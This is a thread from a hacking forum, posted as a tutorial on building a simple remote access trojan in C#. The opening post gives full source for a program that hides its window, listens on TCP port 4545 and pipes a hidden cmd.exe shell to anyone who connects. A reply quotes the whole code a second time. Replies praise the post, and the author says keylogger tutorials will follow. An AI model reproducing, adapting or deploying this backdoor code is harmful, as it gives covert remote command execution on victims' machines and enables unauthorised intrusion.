

Forum:[Hack Forums](#)

Thread: [\[TUT\] Simple RAT Client-Server Model C#](#)

Midi-Chlorian - April 4, 2022, 4:42 pm

[Video: <https://www.youtube.com/watch?v=HAXXovBX0tc>]

```
Code from video: Code using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
```

```
namespace rat_tutorial
{
    public partial class Form1 : Form
    {
        TcpListener tcplis;
        Socket socketclient;
        NetworkStream netstream;
        StreamWriter streamwriter;
        StreamReader streamreader;
        Process cmd_shell;
        StringBuilder strInput;

        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Shown(object sender, EventArgs e)
        {
            this.Hide();
            tcplis = new TcpListener(System.Net.IPAddress.Any, 4545);
            tcplis.Start();
            for (; ; )
            {
                RunServer();
            }
        }

        private void RunServer()
        {

```

```
socketclient = tcplis.AcceptSocket();
netstream = new NetworkStream(socketclient);
streamreader = new StreamReader(netstream);
streamwriter = new StreamWriter(netstream);
```

```
cmd_shell = new Process();
cmd_shell.StartInfo.FileName = "cmd.exe";
cmd_shell.StartInfo.CreateNoWindow = true;
cmd_shell.StartInfo.UseShellExecute = false;
cmd_shell.StartInfo.RedirectStandardOutput = true;
cmd_shell.StartInfo.RedirectStandardInput = true;
cmd_shell.StartInfo.RedirectStandardError = true;
cmd_shell.OutputDataReceived +=
new DataReceivedEventHandler(outputhandler);
cmd_shell.Start();
cmd_shell.BeginOutputReadLine();
strInput = new StringBuilder();
```

```
while (true)
{
    try
    {
        strInput.Append(streamreader.ReadLine());
        strInput.Append("\n");
        cmd_shell.StandardInput.WriteLine(strInput);
        if (strInput.ToString().LastIndexOf("exit") >= 0)
            StopServer();
        if (strInput.ToString().LastIndexOf("exit") >= 0) throw
            new ArgumentException();
        strInput = strInput.Remove(0, strInput.Length);
    }
    catch (Exception err)
    {
        close_connection();
        break;
    };
}
```

```
private void close_connection()
{
    try { cmd_shell.Kill(); } catch (Exception err) { };
    streamreader.Close();
    streamwriter.Close();
    netstream.Close();
    socketclient.Close();
}
private void StopServer()
{
    close_connection();
    System.Environment.Exit(System.Environment.ExitCode);
}
```

```

private void outputhandler(object sendingProcess, DataReceivedEventArgs outLine)
{
    StringBuilder strOutput = new StringBuilder();

    if (!String.IsNullOrEmpty(outLine.Data))
    {
        try
        {
            strOutput.Append(outLine.Data);
            streamwriter.WriteLine(strOutput);
            streamwriter.Flush();
        }
        catch (Exception err) { }
    }
}
}
}

```

Midi-Chlorian - April 4, 2022, 11:53 pm

(Apr 4, 2022 09:17 PM)forfeit Wrote: [\[CITE\]](#) Nice video - appreciate the high quality contribution to this section. :)

Especially nice of you to break down what everything is doing.
Thank you! There's a lot that goes into these applications everyone uses on here.

jmark7 - April 5, 2022, 3:23 am

Nice share, But you should post in C# sections.
Mainly users in this section dont know programming.

jmark7 - April 5, 2022, 12:53 pm

(Apr 5, 2022 09:20 AM)forfeit Wrote: [\[CITE\]](#) Maybe it's a good start for them to know what tooling they're using when they're asking how to port forward, wouldn't you agree?
most of the users over here are kids, they dont even know basics.
so from my point its hard for them.

Midi-Chlorian - April 5, 2022, 1:31 pm

(Apr 5, 2022 12:53 PM)jmark7 Wrote: [\[CITE\]](#) most of the users over here are kids, they dont even know basics.
so from my point its hard for them.
No harm in education.

lightduty - April 6, 2022, 4:44 pm

(Apr 4, 2022 04:42 PM)Midi-Chlorian Wrote: [\[CITE\]](#) Code from video: Code using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;

```
using System.Windows.Forms;
```

```
namespace rat_tutorial
```

```
{  
    public partial class Form1 : Form  
    {  
        TcpListener tcplis;  
        Socket socketclient;  
        NetworkStream netstream;  
        StreamWriter streamwriter;  
        StreamReader streamreader;  
        Process cmd_shell;  
        StringBuilder strInput;  
  
        public Form1()  
        {  
            InitializeComponent();  
        }  
  
        private void Form1_Shown(object sender, EventArgs e)  
        {  
            this.Hide();  
            tcplis = new TcpListener(System.Net.IPAddress.Any, 4545);  
            tcplis.Start();  
            for (; ; )  
            {  
                RunServer();  
            }  
        }  
  
        private void RunServer()  
        {  
            socketclient = tcplis.AcceptSocket();  
            netstream = new NetworkStream(socketclient);  
            streamreader = new StreamReader(netstream);  
            streamwriter = new StreamWriter(netstream);  
  
            cmd_shell = new Process();  
            cmd_shell.StartInfo.FileName = "cmd.exe";  
            cmd_shell.StartInfo.CreateNoWindow = true;  
            cmd_shell.StartInfo.UseShellExecute = false;  
            cmd_shell.StartInfo.RedirectStandardOutput = true;  
            cmd_shell.StartInfo.RedirectStandardInput = true;  
            cmd_shell.StartInfo.RedirectStandardError = true;  
            cmd_shell.OutputDataReceived +=  
                new DataReceivedEventHandler(outhandler);  
            cmd_shell.Start();  
            cmd_shell.BeginOutputReadLine();  
            strInput = new StringBuilder();  
  
            while (true)  
            {
```

```

        try
        {
            strInput.Append(streamreader.ReadLine());
            strInput.Append("\n");
            cmd_shell.StandardInput.WriteLine(strInput);
            if (strInput.ToString().LastIndexOf("exit") >= 0)
                StopServer();
            if (strInput.ToString().LastIndexOf("exit") >= 0) throw
                new ArgumentException();
            strInput = strInput.Remove(0, strInput.Length);
        }
        catch (Exception err)
        {
            close_connection();
            break;
        };
    }
}

private void close_connection()
{
    try { cmd_shell.Kill(); } catch (Exception err) { };
    streamreader.Close();
    streamwriter.Close();
    netstream.Close();
    socketclient.Close();
}

private void StopServer()
{
    close_connection();
    System.Environment.Exit(System.Environment.ExitCode);
}

private void outputhandler(object sendingProcess, DataReceivedEventArgs outLine)
{
    StringBuilder strOutput = new StringBuilder();

    if (!String.IsNullOrEmpty(outLine.Data))
    {
        try
        {
            strOutput.Append(outLine.Data);
            streamwriter.WriteLine(strOutput);
            streamwriter.Flush();
        }
        catch (Exception err) { }
    }
}
}
}

```

Thanks for contributing...

Excellent contribution. Glad to see members like you on this forum.

Midi-Chlorian - April 6, 2022, 6:51 pm

(Apr 6, 2022 04:44 PM)lightduty Wrote: [\[CITE\]](#) Thanks for contributing...

(Apr 6, 2022 04:50 PM)Enzo Wrote: [\[CITE\]](#) Excellent contribution. Glad to see members like you on this forum.

(Apr 6, 2022 06:35 PM)Dyne Wrote: [\[CITE\]](#) Great job.

Keep it coming, Tuts are what makes the forum go around.

Thanks for all the positive feedback. I'm thinking about covering remote desktop and keyloggers soon as a continuation to this video.